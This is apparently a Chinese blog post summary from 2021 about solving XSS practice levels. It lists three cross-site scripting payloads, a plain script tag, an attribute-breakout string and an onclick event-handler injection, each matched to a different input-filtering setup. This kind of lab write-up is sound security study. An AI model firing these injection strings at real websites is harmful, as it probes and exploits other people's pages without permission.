摘要: 1.<script>alert(1);</script> 2.显示文字区域过滤了<>,但是input没有过滤,payload:"><script>alert(1);</script> 3.显示文字区域和input都过滤了<>,payload:'onclick='javascript:alert(1) 阅读全文
posted @ 2021-01-11 15:45 Sally_Zhang 阅读(808) 评论(0) 推荐(0) 编辑